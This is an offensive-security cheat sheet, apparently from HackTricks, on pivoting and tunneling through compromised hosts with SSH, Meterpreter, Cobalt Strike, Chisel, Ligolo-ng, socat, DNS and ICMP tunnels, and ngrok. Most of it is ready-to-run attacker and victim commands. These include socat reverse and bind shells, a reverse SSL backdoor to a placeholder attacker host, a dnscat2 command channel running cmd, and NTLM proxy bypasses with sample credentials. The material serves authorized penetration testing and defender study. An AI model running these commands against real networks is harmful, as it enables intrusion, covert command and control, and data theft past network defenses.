Tunneling and Port Forwarding - HackTricks

# Tunneling and Port Forwarding

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## Nmap tip

> [!WARNING] ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery (`-Pn`) and specify TCP scans (`-sT`) for this to work.

## Bash

Host -> Jump -> InternalA -> InternalB

    # On the jump server connect the port 3333 to the 5985
    mknod backpipe p;
    nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

    # On InternalA accessible from Jump and can access InternalB
    ## Expose port 3333 and connect it to the winrm port of InternalB
    exec 3<>/dev/tcp/internalB/5985
    exec 4<>/dev/tcp/Jump/3333
    cat <&3 >&4 &
    cat <&4 >&3 &

    # From the host, you can now access InternalB from the Jump server
    evil-winrm -u username -i Jump

## SSH

SSH graphical connection (X)

    ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

### Local Port2Port

Open new Port in SSH Server --> Other port

    ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere

    ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere

### Port2Port

Local port --> Compromised host (SSH) --> Third_box:Port

    ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host
    #Example
    sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

### Port2hostnet (proxychains)

Local Port --> Compromised host (SSH) --> Wherever

    ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)

### Reverse Port Forwarding

This is useful to get reverse shells from internal hosts through a DMZ to your host:

    ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
    # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
    # Note that port 443 must be open
    # Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
    # and change the line "GatewayPorts no" to "GatewayPorts yes"
    # to be able to make ssh listen in non internal interfaces in the victim (443 in this case)

### VPN-Tunnel

You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login:
`PermitRootLogin yes`
`PermitTunnel yes`

    ssh root@server -w any:any #This will create Tun interfaces in both devices
    ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
    ifconfig tun0 up #Activate the client side network interface
    ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
    ifconfig tun0 up #Activate the server side network interface

Enable forwarding on the Server side

    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Set a new route on the client side

    route add -net 10.0.0.0/16 gw 1.1.1.1

## SSHUTTLE

You can tunnel via ssh all the traffic to a subnetwork through a host.
For example, forwarding all the traffic going to 10.10.10.0/24

    pip install sshuttle
    sshuttle -r user@host 10.10.10.10/24

Connect with a private key

    sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
    # -D : Daemon mode

## Meterpreter

### Port2Port

Local port --> Compromised host (active session) --> Third_box:Port

    # Inside a meterpreter session
    portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

### SOCKS

    background# meterpreter session
    route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
    use auxiliary/server/socks_proxy
    run #Proxy port 1080 by default
    echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Another way:

    background #meterpreter session
    use post/multi/manage/autoroute
    set SESSION <session_n>
    set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
    set NETMASK <Netmask>
    run
    use auxiliary/server/socks_proxy
    set VERSION 4a
    run #Proxy port 1080 by default
    echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

## Cobalt Strike

### SOCKS proxy

Open a port in the teamserver listening in all the interfaces that can be used to route the traffic through the beacon.

    beacon> socks 1080
    [+] started SOCKS4a server on: 1080

    # Set port 1080 as proxy server in proxychains.conf
    proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25

### rPort2Port

> [!WARNING] In this case, the port is opened in the beacon host, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port

    rportfwd [bind port] [forward host] [forward port]
    rportfwd stop [bind port]

To note:

- Beacon's reverse port forward is designed to tunnel traffic to the Team Server, not for relaying between individual machines.
- Traffic is tunneled within Beacon's C2 traffic, including P2P links.
- Admin privileges are not required to create reverse port forwards on high ports.

### rPort2Port local

> [!WARNING] In this case, the port is opened in the beacon host, not in the Team Server and the traffic is sent to the Cobalt Strike client (not to the Team Server) and from there to the indicated host:port

    rportfwd_local [bind port] [forward host] [forward port]
    rportfwd_local stop [bind port]

## reGeorg

https://github.com/sensepost/reGeorg

You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp

    python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

## Chisel

You can download it from the releases page of https://github.com/jpillora/chisel
You need to use the same version for client and server

### socks

    ./chisel server -p 8080 --reverse #Server -- Attacker
    ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
    #And now you can use proxychains with port 1080 (default)

    ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
    ./chisel client -v 10.10.10.10:8080 socks #Attacker

### Port forwarding

    ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
    ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim

## Ligolo-ng

https://github.com/nicocha30/ligolo-ng

Use the same version for agent and proxy

### Tunneling

    # Start proxy server and automatically generate self-signed TLS certificates -- Attacker
    sudo ./proxy -selfcert
    # Create an interface named "ligolo" -- Attacker
    interface_create --name "ligolo"
    # Print the currently used certificate fingerprint -- Attacker
    certificate_fingerprint
    # Start the agent with certification validation -- Victim
    ./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
    # Select the agent -- Attacker
    session
    1
    # Start the tunnel on the proxy server -- Attacker
    tunnel_start --tun "ligolo"
    # Display the agent's network configuration -- Attacker
    ifconfig
    # Create a route to the agent's specified network -- Attacker
    interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
    # Display the tun interfaces -- Attacker
    interface_list

### Agent Binding and Listening

    # Establish a tunnel from the proxy server to the agent
    # Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
    listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
    # Display the currently running listeners on the agent -- Attacker
    listener_list

### Access Agent's Local Ports

    # Establish a tunnel from the proxy server to the agent
    # Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
    interface_add_route --name "ligolo" --route 240.0.0.1/32

## Rpivot

https://github.com/klsecservices/rpivot

Reverse tunnel. The tunnel is started from the victim.
A socks4 proxy is created on 127.0.0.1:1080

    attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080

    victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

Pivot through NTLM proxy

    victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd

    victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

## Socat

https://github.com/andrew-d/static-binaries

### Bind shell

    victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
    attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

### Reverse shell

    attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
    victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

### Port2Port

    socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

### Port2Port through socks

    socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

### Meterpreter through SSL Socat

    #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
    attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333

    victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
    #Execute the meterpreter

You can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:

    OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/

### SSL Socat Tunnel

/bin/sh console

Create certificates on both sides: Client and Server

    # Execute these commands on both sides
    FILENAME=socatssl
    openssl genrsa -out $FILENAME.key 1024
    openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
    cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
    chmod 600 $FILENAME.key $FILENAME.pem

    attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
    victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

### Remote Port2Port

Connect the local SSH port (22) to the 443 port of the attacker host

    attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
    victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
    attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim

## Plink.exe

It's like a console PuTTY version ( the options are very similar to an ssh client).

As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine:

    echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
    echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090

## Windows netsh

### Port2Port

You need to be a local admin (for any port)

    netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
    # Example:
    netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
    # Check the port forward was created:
    netsh interface portproxy show v4tov4
    # Delete port forward
    netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444

## SocksOverRDP & Proxifier

You need to have RDP access over the system.
Download:

1. SocksOverRDP x64 Binaries - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for tunneling packets over the RDP connection.
2. Proxifier Portable Binary

In your client computer load `SocksOverRDP-Plugin.dll` like this:

    # Load SocksOverRDP.dll using regsvr32.exe
    C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

Now we can connect to the victim over RDP using `mstsc.exe`, and we should receive a prompt saying that the SocksOverRDP plugin is enabled, and it will listen on 127.0.0.1:1080.

Connect via RDP and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary:

    C:\SocksOverRDP-x64> SocksOverRDP-Server.exe

Now, confirm in you machine (attacker) that the port 1080 is listening:

    netstat -antb | findstr 1080

Now you can use Proxifier to proxy the traffic through that port.

## Proxify Windows GUI Apps

You can make Windows GUI apps navigate through a proxy using Proxifier.
In Profile -> Proxy Servers add the IP and port of the SOCKS server.
In Profile -> Proxification Rules add the name of the program to proxify and the connections to the IPs you want to proxify.

## NTLM proxy bypass

The previously mentioned tool: Rpivot
OpenVPN can also bypass it, setting these options in the configuration file:

    http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

### Cntlm

http://cntlm.sourceforge.net/

It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.
For example that forward port 443

    Username Alice
    Password P@ssw0rd
    Domain CONTOSO.COM
    Proxy 10.0.0.10:8080
    Tunnel 2222:<attackers_machine>:443

Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222.
You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.

## YARP

A reverse proxy created by Microsoft. You can find it here: https://github.com/microsoft/reverse-proxy

## DNS Tunneling

### Iodine

https://code.kryo.se/iodine/

Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.

    attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
    victim> iodine -f -P P@ssw0rd tunneldomain.com -r
    #You can see the victim at 1.1.1.2

The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:

    ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

### DNSCat2

Download it from here.

Establishes a C&C channel through DNS. It doesn't need root privileges.

    attacker> ruby ./dnscat2.rb tunneldomain.com
    victim> ./dnscat2 tunneldomain.com

    # If using it in an internal network for a CTF:
    attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
    victim> ./dnscat2 --dns host=10.10.10.10,port=5353

#### In PowerShell

You can use dnscat2-powershell to run a dnscat2 client in powershell:

    Import-Module .\dnscat2.ps1
    Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

#### Port forwarding with dnscat

    session -i <sessions_id>
    listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host

#### Change proxychains DNS

Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is 4.2.2.2 (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.

## Tunnels in Go

https://github.com/hotnops/gtunnel

## ICMP Tunneling

### Hans

https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel

Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests.

    ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
    ./hans -f -c <server_ip> -p P@ssw0rd -v
    ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100

### ptunnel-ng

Download it from here.

    # Generate it
    sudo ./autogen.sh

    # Server -- victim (needs to be able to receive ICMP)
    sudo ptunnel-ng
    # Client - Attacker
    sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
    # Try to connect with SSH through ICMP tunnel
    ssh -p 2222 -l user 127.0.0.1
    # Create a socks proxy through the SSH connection through the ICMP tunnel
    ssh -D 9050 -p 2222 -l user 127.0.0.1

## ngrok

ngrok is a tool to expose solutions to Internet in one command line.
Exposition URI are like: UID.ngrok.io

### Installation

- Create an account: https://ngrok.com/signup
- Client download:

    tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
    chmod a+x ./ngrok
    # Init configuration, with your token
    ./ngrok config edit

### Basic usages

Documentation: https://ngrok.com/docs/getting-started/.

It is also possible to add authentication and TLS, if necessary.

#### Tunneling TCP

    # Pointing to 0.0.0.0:4444
    ./ngrok tcp 4444
    # Example of resulting link: 0.tcp.ngrok.io:12345
    # Listen (example): nc -nvlp 4444
    # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345

#### Exposing files with HTTP

    ./ngrok http file:///tmp/httpbin/
    # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

#### Sniffing HTTP calls

Useful for XSS,SSRF,SSTI ...
Directly from stdout or in the HTTP interface http://127.0.0.1:4040.

#### Tunneling internal HTTP service

    ./ngrok http localhost:8080 --host-header=rewrite
    # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
    # With basic auth
    ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"

#### ngrok.yaml simple configuration example

It opens 3 tunnels:

- 2 TCP
- 1 HTTP with static files exposition from /tmp/httpbin/

    tunnels:
      mytcp:
        addr: 4444
        proto: tcptunne
      anothertcp:
        addr: 5555
        proto: tcp
      httpstatic:
        proto: http
        addr: file:///tmp/httpbin/

## Other tools to check

- https://github.com/securesocketfunneling/ssf
- https://github.com/z3APA3A/3proxy

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